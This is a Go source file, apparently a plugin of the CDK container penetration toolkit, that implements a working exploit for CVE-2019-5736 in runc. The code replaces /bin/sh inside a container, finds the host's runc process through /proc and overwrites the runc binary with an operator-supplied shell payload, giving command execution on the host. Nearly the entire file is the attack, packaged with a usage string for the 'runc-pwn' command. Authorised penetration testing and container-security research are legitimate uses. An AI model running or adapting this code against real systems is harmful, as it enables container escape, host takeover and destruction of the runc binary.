package exploit

import (
	"fmt"
	"github.com/Xyntax/CDK/pkg/lib"
	"github.com/Xyntax/CDK/pkg/util"
	"io/ioutil"
	"log"
	"os"
	"strconv"
	"strings"
)

// CVE-2019-5736 exploit copied from https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go
func dockerRuncPwn(hijackCommand string) {

	if hijackCommand == "nil" {
		fmt.Println("[-] Please provide a payload")
		return
	}

	payload := fmt.Sprintf("#!/bin/bash \n %s", hijackCommand)
	fd, err := os.Create("/bin/sh")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Fprintln(fd, "#!/proc/self/exe")
	err = fd.Close()
	if err != nil {
		fmt.Println(err)
		return
	}

	var found = -1
	pids, err := ioutil.ReadDir("/proc")
	fmt.Println(pids)
	if err != nil {
		fmt.Println("err found when reading /proc dir:", err)
		return
	}
	for _, f := range pids {
		// drop non-pid
		if !util.IsDir(f.Name()) {
			continue
		}
		fint, err := strconv.Atoi(f.Name())
		if err != nil {
			continue
		}
		fbytes, err := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
		if err != nil {
			continue
		}
		fstring := string(fbytes)
		fmt.Println(fstring)
		if strings.Contains(fstring, "runc") {
			fmt.Println("\tmatched pid - ", f.Name())
			found = fint
			break
		}
	}
	if found == -1 {
		fmt.Println("\tcannot find RunC process inside container, exit.")
		return
	}
	var handleFd = -1
	for handleFd == -1 {
		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
		if int(handle.Fd()) > 0 {
			handleFd = int(handle.Fd())
		}
	}
	for {
		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
		if int(writeHandle.Fd()) > 0 {
			writeHandle.Write([]byte(payload))
			return
		}
	}
}

// plugin interface
type dockerRuncPwnS struct{}

func (p dockerRuncPwnS) Desc() string {
	return "container escape via CVE-2019-5736. usage: ./cdk runc-pwn <shell-cmd>"
}
func (p dockerRuncPwnS) Run() bool {
	args := lib.Args["<args>"].([]string)
	if len(args) != 1 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}
	cmd := args[0]
	log.Println("THIS EXPLOIT WILL OVERWRITE RUNC BINARY AND BREAK CI/CD, BACKUP YOUR RUNC BINARY FIRST!")
	log.Println("Shellcode will be trigger when an execve() call in container or the container is manually stopped.")
	log.Println("Exploit CVE-2019-5736 with shellcode commands: ", cmd)
	dockerRuncPwn(cmd)
	log.Println("Finished.")
	return true
}

func init() {
	plugin := dockerRuncPwnS{}
	lib.Register("runc-pwn", plugin)
}
